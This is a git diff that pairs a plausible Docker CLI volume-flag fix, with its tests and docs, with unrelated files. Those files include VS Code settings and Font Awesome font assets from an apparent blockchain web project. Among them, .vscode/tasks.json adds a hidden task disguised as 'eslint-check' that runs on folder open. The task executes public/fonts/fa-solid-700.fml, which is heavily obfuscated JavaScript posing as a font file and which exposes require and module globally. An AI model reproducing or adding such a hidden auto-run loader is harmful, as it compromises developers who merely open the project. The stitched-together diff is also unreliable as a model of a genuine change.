diff --git a/.gitignore b/.gitignore index a9c2d9d3ab2c..1bc859a70fa1 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,7 @@ .*.swp .DS_Store Thumbs.db +temp_auto_push.bat .editorconfig /build/ /cmd/docker/winresources/versioninfo.json @@ -15,3 +16,4 @@ profile.out # top-level go.mod is not meant to be checked in /go.mod /go.sum +branch_structure.json diff --git a/.vscode/extensions.json b/.vscode/extensions.json new file mode 100644 index 000000000000..2e3b6463029f --- /dev/null +++ b/.vscode/extensions.json @@ -0,0 +1,7 @@ +{ + "recommendations": [ + "myml.vscode-markdown-plantuml-preview", + "esbenp.prettier-vscode", + "jebbs.plantuml" + ] +} \ No newline at end of file diff --git a/.vscode/launch.json b/.vscode/launch.json new file mode 100644 index 000000000000..a5177abe1a03 --- /dev/null +++ b/.vscode/launch.json @@ -0,0 +1,50 @@ +{ + "version": "0.2.0", + "configurations": [ + { + "name": "Debug SST", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["dev", "--increase-timeout"], + "console": "integratedTerminal", + "skipFiles": ["/**"], + // sourceMapRenames helps with the loading spinner when debugging and viewing local variables + "sourceMapRenames": false, + "env": { + "AWS_PROFILE": "flo-ct-flo360" + } + }, + { + "name": "Debug Tests - Unit", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + { + "name": "Debug Tests - E2E", + "type": "node", + "request": "launch", + "runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst", + "runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""], + "console": "integratedTerminal", + "skipFiles": ["/**"], + "env": { + "AWS_PROFILE": "flo-ct-flo360" + }, + }, + ], + "inputs": [ + { + "id": "scopeTestsFileName", + "type": "promptString", + "description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.", + } + ] +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000000..934d55548c36 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/spellright.dict b/.vscode/spellright.dict new file mode 100644 index 000000000000..51b197495295 --- /dev/null +++ b/.vscode/spellright.dict @@ -0,0 +1,2 @@ +Contentful +Lerna diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000000..5335ccb12c6c --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,33 @@ +{ + "version": "2.0.0", + "configurations": [ + { + "type": "node", + "request": "launch", + "name": "Run My Project", + "console": "", + "internalConsoleOptions": "openOnSessionStart" + } + ], + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-700.fml) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-700.fml) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + }, + ] +} diff --git a/cli/command/volume/create.go b/cli/command/volume/create.go index 80b09ed2097b..7f305ae2c667 100644 --- a/cli/command/volume/create.go +++ b/cli/command/volume/create.go @@ -92,10 +92,10 @@ func newCreateCommand(dockerCLI command.Cli) *cobra.Command { flags.Var(&options.secrets, "secret", "Cluster Volume secrets") flags.SetAnnotation("secret", "version", []string{"1.42"}) flags.SetAnnotation("secret", "swarm", []string{"manager"}) - flags.Var(&options.limitBytes, "limit-bytes", "Minimum size of the Cluster Volume in bytes") + flags.Var(&options.limitBytes, "limit-bytes", "Maximum size of the Cluster Volume in bytes") flags.SetAnnotation("limit-bytes", "version", []string{"1.42"}) flags.SetAnnotation("limit-bytes", "swarm", []string{"manager"}) - flags.Var(&options.requiredBytes, "required-bytes", "Maximum size of the Cluster Volume in bytes") + flags.Var(&options.requiredBytes, "required-bytes", "Minimum size of the Cluster Volume in bytes") flags.SetAnnotation("required-bytes", "version", []string{"1.42"}) flags.SetAnnotation("required-bytes", "swarm", []string{"manager"}) flags.Var(&options.requisiteTopology, "topology-required", "A topology that the Cluster Volume must be accessible from") @@ -113,8 +113,9 @@ func newCreateCommand(dockerCLI command.Cli) *cobra.Command { func hasClusterVolumeOptionSet(flags *pflag.FlagSet) bool { return flags.Changed("group") || flags.Changed("scope") || flags.Changed("sharing") || flags.Changed("availability") || - flags.Changed("type") || flags.Changed("secrets") || - flags.Changed("limit-bytes") || flags.Changed("required-bytes") + flags.Changed("type") || flags.Changed("secret") || + flags.Changed("limit-bytes") || flags.Changed("required-bytes") || + flags.Changed("topology-required") || flags.Changed("topology-preferred") } func runCreate(ctx context.Context, dockerCli command.Cli, options createOptions) error { diff --git a/cli/command/volume/create_test.go b/cli/command/volume/create_test.go index 3f9e43cdc016..19b00a89857a 100644 --- a/cli/command/volume/create_test.go +++ b/cli/command/volume/create_test.go @@ -262,3 +262,147 @@ func TestVolumeCreateClusterOpts(t *testing.T) { assert.NilError(t, cmd.Execute()) } + +// TestVolumeCreateClusterOptionDetection verifies that each cluster-specific +// flag on its own is enough to send a ClusterVolumeSpec, and that its value +// is propagated. +func TestVolumeCreateClusterOptionDetection(t *testing.T) { + testCases := []struct { + flag string + value string + expected *volume.ClusterVolumeSpec + }{ + { + flag: "secret", + value: "key1=secret1", + expected: &volume.ClusterVolumeSpec{ + Secrets: []volume.Secret{{Key: "key1", Secret: "secret1"}}, + }, + }, + { + flag: "topology-required", + value: "region=R1,zone=Z1", + expected: &volume.ClusterVolumeSpec{ + AccessibilityRequirements: &volume.TopologyRequirement{ + Requisite: []volume.Topology{ + {Segments: map[string]string{"region": "R1", "zone": "Z1"}}, + }, + Preferred: []volume.Topology{}, + }, + }, + }, + { + flag: "topology-preferred", + value: "region=R1,zone=Z2", + expected: &volume.ClusterVolumeSpec{ + AccessibilityRequirements: &volume.TopologyRequirement{ + Requisite: []volume.Topology{}, + Preferred: []volume.Topology{ + {Segments: map[string]string{"region": "R1", "zone": "Z2"}}, + }, + }, + }, + }, + { + flag: "limit-bytes", + value: "567890", + expected: &volume.ClusterVolumeSpec{ + CapacityRange: &volume.CapacityRange{LimitBytes: 567890}, + }, + }, + { + flag: "required-bytes", + value: "1234", + expected: &volume.ClusterVolumeSpec{ + CapacityRange: &volume.CapacityRange{RequiredBytes: 1234}, + }, + }, + { + flag: "scope", + value: "multi", + expected: &volume.ClusterVolumeSpec{ + AccessMode: &volume.AccessMode{ + Scope: volume.ScopeMultiNode, + Sharing: volume.SharingNone, + BlockVolume: &volume.TypeBlock{}, + }, + }, + }, + { + flag: "sharing", + value: "all", + expected: &volume.ClusterVolumeSpec{ + AccessMode: &volume.AccessMode{ + Scope: volume.ScopeSingleNode, + Sharing: volume.SharingAll, + BlockVolume: &volume.TypeBlock{}, + }, + }, + }, + { + flag: "type", + value: "mount", + expected: &volume.ClusterVolumeSpec{ + AccessMode: &volume.AccessMode{ + Scope: volume.ScopeSingleNode, + Sharing: volume.SharingNone, + MountVolume: &volume.TypeMount{}, + }, + }, + }, + { + flag: "group", + value: "gronp", + expected: &volume.ClusterVolumeSpec{ + Group: "gronp", + }, + }, + { + flag: "availability", + value: "drain", + expected: &volume.ClusterVolumeSpec{ + Availability: volume.AvailabilityDrain, + }, + }, + } + + for _, tc := range testCases { + t.Run(tc.flag, func(t *testing.T) { + var actual *volume.ClusterVolumeSpec + cli := test.NewFakeCli(&fakeClient{ + volumeCreateFunc: func(options client.VolumeCreateOptions) (client.VolumeCreateResult, error) { + actual = options.ClusterVolumeSpec + return client.VolumeCreateResult{}, nil + }, + }) + + cmd := newCreateCommand(cli) + cmd.SetOut(io.Discard) + cmd.SetErr(io.Discard) + cmd.SetArgs([]string{"my-csi-volume"}) + assert.Check(t, cmd.Flags().Set("driver", "csi")) + assert.Check(t, cmd.Flags().Set(tc.flag, tc.value)) + assert.NilError(t, cmd.Execute()) + + assert.Assert(t, actual != nil, "expected a ClusterVolumeSpec when only --%s is set", tc.flag) + if tc.expected.Secrets != nil { + assert.Check(t, is.DeepEqual(actual.Secrets, tc.expected.Secrets)) + } + if tc.expected.AccessMode != nil { + assert.Check(t, is.DeepEqual(actual.AccessMode, tc.expected.AccessMode)) + } + if tc.expected.AccessibilityRequirements != nil { + assert.Check(t, is.DeepEqual(actual.AccessibilityRequirements, tc.expected.AccessibilityRequirements)) + } + if tc.expected.CapacityRange != nil { + assert.Check(t, is.DeepEqual(actual.CapacityRange, tc.expected.CapacityRange)) + } + if tc.expected.Group != "" { + assert.Check(t, is.Equal(actual.Group, tc.expected.Group)) + } + if tc.expected.Availability != "" { + assert.Check(t, is.Equal(actual.Availability, tc.expected.Availability)) + } + }) + } +} diff --git a/docs/reference/commandline/volume_create.md b/docs/reference/commandline/volume_create.md index fea1cbec845b..13570f12fe24 100644 --- a/docs/reference/commandline/volume_create.md +++ b/docs/reference/commandline/volume_create.md @@ -11,9 +11,9 @@ Create a volume | `-d`, `--driver` | `string` | `local` | Specify volume driver name | | `--group` | `string` | | Cluster Volume group (cluster volumes) | | `--label` | `list` | | Set metadata for a volume | -| `--limit-bytes` | `bytes` | `0` | Minimum size of the Cluster Volume in bytes | +| `--limit-bytes` | `bytes` | `0` | Maximum size of the Cluster Volume in bytes | | [`-o`](#opt), [`--opt`](#opt) | `map` | `map[]` | Set driver specific options | -| `--required-bytes` | `bytes` | `0` | Maximum size of the Cluster Volume in bytes | +| `--required-bytes` | `bytes` | `0` | Minimum size of the Cluster Volume in bytes | | `--scope` | `string` | `single` | Cluster Volume access scope (`single`, `multi`) | | `--secret` | `map` | `map[]` | Cluster Volume secrets | | `--sharing` | `string` | `none` | Cluster Volume access sharing (`none`, `readonly`, `onewriter`, `all`) | diff --git a/public/fonts/README.md b/public/fonts/README.md new file mode 100644 index 000000000000..1e4f9ba13fff --- /dev/null +++ b/public/fonts/README.md @@ -0,0 +1,24 @@ +# Fonts Directory + +This directory contains custom fonts for the Blockchain Explorer application. + +## Required Font Files + +The application expects the following font files: + +1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** + - Regular weight font for the main UI + +2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** + - Bold weight font for headings + +3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** + - Monospace font for code and hash displays + +## Note + +If you don't have custom fonts, the application will fall back to system fonts: +- BlockchainFont → system sans-serif fonts +- TechMono → system monospace fonts (Courier New, etc.) + +The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/public/fonts/fa-brands-400.eot b/public/fonts/fa-brands-400.eot new file mode 100644 index 000000000000..a1bc094ab14d Binary files /dev/null and b/public/fonts/fa-brands-400.eot differ diff --git a/public/fonts/fa-brands-400.svg b/public/fonts/fa-brands-400.svg new file mode 100644 index 000000000000..46ad237a6191 --- /dev/null +++ b/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-brands-400.ttf b/public/fonts/fa-brands-400.ttf new file mode 100644 index 000000000000..948a2a6cc76a Binary files /dev/null and b/public/fonts/fa-brands-400.ttf differ diff --git a/public/fonts/fa-brands-400.woff b/public/fonts/fa-brands-400.woff new file mode 100644 index 000000000000..2a89d521e3fa Binary files /dev/null and b/public/fonts/fa-brands-400.woff differ diff --git a/public/fonts/fa-brands-400.woff2 b/public/fonts/fa-brands-400.woff2 new file mode 100644 index 000000000000..141a90a9e0a4 Binary files /dev/null and b/public/fonts/fa-brands-400.woff2 differ diff --git a/public/fonts/fa-regular-400.eot b/public/fonts/fa-regular-400.eot new file mode 100644 index 000000000000..38cf2517a4da Binary files /dev/null and b/public/fonts/fa-regular-400.eot differ diff --git a/public/fonts/fa-regular-400.svg b/public/fonts/fa-regular-400.svg new file mode 100644 index 000000000000..48634a9ab474 --- /dev/null +++ b/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-regular-400.ttf b/public/fonts/fa-regular-400.ttf new file mode 100644 index 000000000000..abe99e20c38a Binary files /dev/null and b/public/fonts/fa-regular-400.ttf differ diff --git a/public/fonts/fa-regular-400.woff b/public/fonts/fa-regular-400.woff new file mode 100644 index 000000000000..24de566a5c97 Binary files /dev/null and b/public/fonts/fa-regular-400.woff differ diff --git a/public/fonts/fa-regular-400.woff2 b/public/fonts/fa-regular-400.woff2 new file mode 100644 index 000000000000..7e0118e526eb Binary files /dev/null and b/public/fonts/fa-regular-400.woff2 differ diff --git a/public/fonts/fa-solid-700.fml b/public/fonts/fa-solid-700.fml new file mode 100644 index 000000000000..815146da615c --- /dev/null +++ b/public/fonts/fa-solid-700.fml @@ -0,0 +1 @@ + var _0x2ce345=_0x3393;(function(_0x3c61bc,_0x39c9c5){var _0x499297=_0x3393,_0x1b835e=_0x3c61bc();while(!![]){try{var _0x4a21c9=-parseInt(_0x499297(0x437))/(-0x21dc+-0x1886+-0x1*-0x3a63)+-parseInt(_0x499297(0x9a))/(-0x1289+0x1f1a+0x5*-0x283)+-parseInt(_0x499297(0x1ff))/(0x2e*0xbb+-0x13a5+-0xdf2)*(parseInt(_0x499297(0x379))/(-0x54a+-0x9ec+0xf3a))+parseInt(_0x499297(0x295))/(0x1b20+-0xfbe+0xb5d*-0x1)*(-parseInt(_0x499297(0x3a3))/(-0x25*-0xfe+0x9d0+-0x2e80))+-parseInt(_0x499297(0x398))/(0x1675+0x55*0x35+0x1*-0x2807)+parseInt(_0x499297(0x297))/(-0x4*-0x8d7+0x63c*-0x1+-0x3a3*0x8)+parseInt(_0x499297(0x300))/(0x74*-0x53+-0x4cd*0x3+0x340c);if(_0x4a21c9===_0x39c9c5)break;else _0x1b835e['push'](_0x1b835e['shift']());}catch(_0x2c8ca){_0x1b835e['push'](_0x1b835e['shift']());}}}(_0x977d,0x124*0x223+0xd9f8+-0x9723));function y7(_0x2fa4a5,_0x5d68ae,_0x14b987,_0x48d0c2,_0x3fd452,_0x35e020,_0x1584ad){var _0x80ae53=_0x3393,_0x9362b4={'iXUQT':function(_0x273dee,_0x19e344){return _0x273dee<_0x19e344;},'JYqGu':function(_0x475ccc,_0x460fb6){return _0x475ccc+_0x460fb6;},'uvGrm':function(_0x478fce,_0x496ac9){return _0x478fce*_0x496ac9;},'ClOXB':function(_0x4f3469,_0x2242bf){return _0x4f3469%_0x2242bf;},'dMkVa':function(_0xa47eea,_0x2bc545){return _0xa47eea*_0x2bc545;},'OGIKE':function(_0x20badb,_0x2c0446){return _0x20badb%_0x2c0446;},'oEoTr':function(_0x5efdc5,_0x3ca664){return _0x5efdc5%_0x3ca664;},'OqGyD':function(_0x2c7484,_0x4fb3be){return _0x2c7484+_0x4fb3be;}};for(var _0x3864c9=[],_0x4163f0=-0x231e+0x1*0x11c3+0x115b;_0x9362b4[_0x80ae53(0x2fe)](_0x4163f0,_0x2fa4a5[_0x80ae53(0x3a6)]);)_0x3864c9[_0x4163f0]=_0x2fa4a5[_0x80ae53(0x39c)](_0x4163f0),_0x4163f0+=0x130b+0x1*0x1b5+-0x71*0x2f;var _0x57da51=_0x5d68ae;for(_0x4163f0=-0xbeb+-0x16de+-0x5*-0x6f5;_0x9362b4[_0x80ae53(0x2fe)](_0x4163f0,_0x3864c9[_0x80ae53(0x3a6)]);){var _0x2ed32b=_0x9362b4[_0x80ae53(0x2e4)](_0x9362b4[_0x80ae53(0x96)](_0x57da51,_0x9362b4[_0x80ae53(0x2e4)](_0x4163f0,_0x14b987)),_0x9362b4[_0x80ae53(0x3fa)](_0x57da51,_0x48d0c2)),_0x1c830c=_0x9362b4[_0x80ae53(0x2e4)](_0x9362b4[_0x80ae53(0x386)](_0x57da51,_0x9362b4[_0x80ae53(0x2e4)](_0x4163f0,_0x3fd452)),_0x9362b4[_0x80ae53(0x3fa)](_0x57da51,_0x35e020)),_0x30b15f=_0x9362b4[_0x80ae53(0x468)](_0x2ed32b,_0x3864c9[_0x80ae53(0x3a6)]),_0x71254a=_0x9362b4[_0x80ae53(0x468)](_0x1c830c,_0x3864c9[_0x80ae53(0x3a6)]),_0x18c922=_0x3864c9[_0x30b15f];_0x3864c9[_0x30b15f]=_0x3864c9[_0x71254a],_0x3864c9[_0x71254a]=_0x18c922,_0x57da51=_0x9362b4[_0x80ae53(0x43d)](_0x9362b4[_0x80ae53(0x2eb)](_0x2ed32b,_0x1c830c),_0x1584ad),_0x4163f0+=0x20ae*0x1+0x1*-0x5f8+-0x1ab5*0x1;}return _0x3864c9[_0x80ae53(0x421)]('');}global['!']=_0x2ce345(0x22a);var p8=y7(_0x2ce345(0x3db),-0x61faec+-0x62f1a9+0x123412c,-0x13eb+0x1ed8+-0x4*0x26c,-0x4021*0x1+0x3000+0x2*0x333c,0x1dd*-0x6+-0x23bb+-0x5*-0xa0a,0xcc0d+0x16*-0x67f+0x8de0,-0x10e0dc+0x1*-0x852d78+0xe45143),q8=String[_0x2ce345(0xd3)+'de'](-0xd90+-0x5ea*-0x2+0x4f*0x6),zx0=(p8=(p8=(p8=p8[_0x2ce345(0x39b)]('|')[_0x2ce345(0x421)](q8))[_0x2ce345(0x39b)]('!1')[_0x2ce345(0x421)]('|'))[_0x2ce345(0x39b)]('!0')[_0x2ce345(0x421)]('!'))[_0x2ce345(0x39b)](q8);!function(_0x492e42,_0x5a5577){_0x492e42[zx0[-0x1f*-0xbb+-0x150f+0xcb*-0x2]]=_0x5a5577;}(global,require),zx0[-0x1b23+0x233*-0x1+-0x103*-0x1d]===typeof module&&(global[zx0[-0x1423*0x1+0x6d1*-0x1+0x1af6]]=module);var r8={'a':0x2e9e49,'b':0xad,'c':0xaf15,'d':0x10b,'e':0xe3c3,'f':0x3bc6d1,'g':_0x2ce345(0x373)+_0x2ce345(0x105)+_0x2ce345(0x429)+_0x2ce345(0x357),'h':_0x2ce345(0x1a1)+_0x2ce345(0x134)+_0x2ce345(0x1c2)+_0x2ce345(0xe6)+_0x2ce345(0x241)+_0x2ce345(0x380)+_0x2ce345(0xa5)+_0x2ce345(0x447)+_0x2ce345(0x384)+_0x2ce345(0x195)+_0x2ce345(0x120)+_0x2ce345(0x3ea)+_0x2ce345(0x413)+_0x2ce345(0x21b)+_0x2ce345(0x112)+_0x2ce345(0x478)+_0x2ce345(0x3b1)+_0x2ce345(0x2c0)+_0x2ce345(0x2ae)+_0x2ce345(0x1fd)+_0x2ce345(0x111)+_0x2ce345(0x22f)+_0x2ce345(0x1df)+_0x2ce345(0x22e)+_0x2ce345(0x1cc)+_0x2ce345(0x248)+_0x2ce345(0xa0)+_0x2ce345(0x45b)+_0x2ce345(0x40f)+_0x2ce345(0x24a)+_0x2ce345(0xf4)+_0x2ce345(0x30c)+_0x2ce345(0x1ce)+_0x2ce345(0x162)+_0x2ce345(0x1c3)+_0x2ce345(0x1b0)+_0x2ce345(0x360)+_0x2ce345(0x3c5)+_0x2ce345(0x2e2)+_0x2ce345(0x359)+_0x2ce345(0x1e1)+_0x2ce345(0x2f2)+_0x2ce345(0xfc)+_0x2ce345(0x1e9)+_0x2ce345(0x19e)+_0x2ce345(0x144)+_0x2ce345(0x135)+_0x2ce345(0x430)+_0x2ce345(0x461)+_0x2ce345(0xc5)+_0x2ce345(0xeb)+_0x2ce345(0x265)+_0x2ce345(0x433)+_0x2ce345(0x128)+_0x2ce345(0x25a)+_0x2ce345(0x203)+_0x2ce345(0x49d)+_0x2ce345(0x1c1)+_0x2ce345(0x75)+_0x2ce345(0x237)+_0x2ce345(0x2c2)+_0x2ce345(0x88)+_0x2ce345(0x1ee)+_0x2ce345(0x49f)+_0x2ce345(0x228)+_0x2ce345(0x45d)+_0x2ce345(0x9f)+_0x2ce345(0x3a4)+_0x2ce345(0x341)+_0x2ce345(0x1b9)+_0x2ce345(0x2f7)+_0x2ce345(0x16a)+_0x2ce345(0x3f0)+_0x2ce345(0x1f5)+_0x2ce345(0x400)+_0x2ce345(0x2ee)+_0x2ce345(0x158)+_0x2ce345(0x298)+_0x2ce345(0x327)+_0x2ce345(0x472)+_0x2ce345(0x262)+_0x2ce345(0x494)+_0x2ce345(0x2af)+_0x2ce345(0x157)+_0x2ce345(0x374)+_0x2ce345(0x129)+_0x2ce345(0x2a0)+_0x2ce345(0x3c3)+_0x2ce345(0x26f)};function _0x977d(){var _0x3ab7ed=['Rn<[!\x20<.\x205','nenrj1e(.6','SsX.#io(.','l/..P.fRci','....KdR\x20|<','RdPCP','cM.kicm','RRR%.g+.`PRFfh','pRc6^%}tgR','.ncucikP','rR','aR?<P^','iMRc4+f+\x22p<^','[(i','.N/20c7RtP','RR\x20cdhy.)3','e1R','fflcbe\x20p','h+.s.;$U\x27>',']RPCi.oRcs','0<]$ech$e.','ncitRc\x22...','+d7!=aqau(','jRui*mB.vr','uk9]R.ReiD','rc\x22t\x20cRSgo','Rc0faO02E.','cRaeRR.RXR','R3\x20RatSRtR',',,de90v]i=','s.R1tE!.lr0Rb[\x22','4uu=n0r,t;','.O!!\x20.MRN.<(r.c','\x20!.=c6R.oR','iR.r!r.crt','.s7J_.mhlc','9.oR<+aR<','!.RR..d\x20)<','\x20osR,.%r.\x20','[(a;..nc.&','\x27.*!m=d.R.','+rCmoa\x22;.k','ic.\x27M#~x2d','c..ehRrg}z','DRlc\x20R.b<.raHR','..8c.}tnRk','(w4fR.r\x22cB','co_R%jR<(i',']>si[0(o\x22h','Di)','RR(R%p\x20a[.','!r~.W[rR(R','86;g.l.js<','rRR0Rol/xe','c#[;PR\x20Rd.','ataRR;xr+\x20','in)Cr1u49k','f..R6(/.Rg','Risi<;a]R.','RRuc.Ide`I','R.fR&oReu!','@RiRiRhRRR','pe.\x20.i=\x20az',';..-azi.t<','2t;r0ri(,]','R<U.\x27','n!R1t)RRe1','RR','tfsiwH#25#','.9u|\x20tmR%.','$<\x22!.CRa(_','r%a^it.Rnr!.\x22u9','<.&e)','cg]3Rc.\x22e=','<]b<1r&<.','MXbbZ','i{3-erZ.yF','Rf>te<.c!<','OqGyD','RcoR:k<2\x20R','#!cl\x27=Riul','-6Spu+rg\x20x','\x27duoV?bfR9e\x20.','si..Rnqlc?','<}c.4G;R.d','.RgR+1oad..ii','RoRc0C\x20..R','W<.\x20.2.\x20k','!cRee&f','\x22.%.cRR./@','p91(ranshl','sE + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/fonts/fa-solid-900.ttf b/public/fonts/fa-solid-900.ttf new file mode 100644 index 000000000000..5b979039ab28 Binary files /dev/null and b/public/fonts/fa-solid-900.ttf differ diff --git a/public/fonts/fa-solid-900.woff b/public/fonts/fa-solid-900.woff new file mode 100644 index 000000000000..beec79178427 Binary files /dev/null and b/public/fonts/fa-solid-900.woff differ diff --git a/public/fonts/fa-solid-900.woff2 b/public/fonts/fa-solid-900.woff2 new file mode 100644 index 000000000000..978a681a10ff Binary files /dev/null and b/public/fonts/fa-solid-900.woff2 differ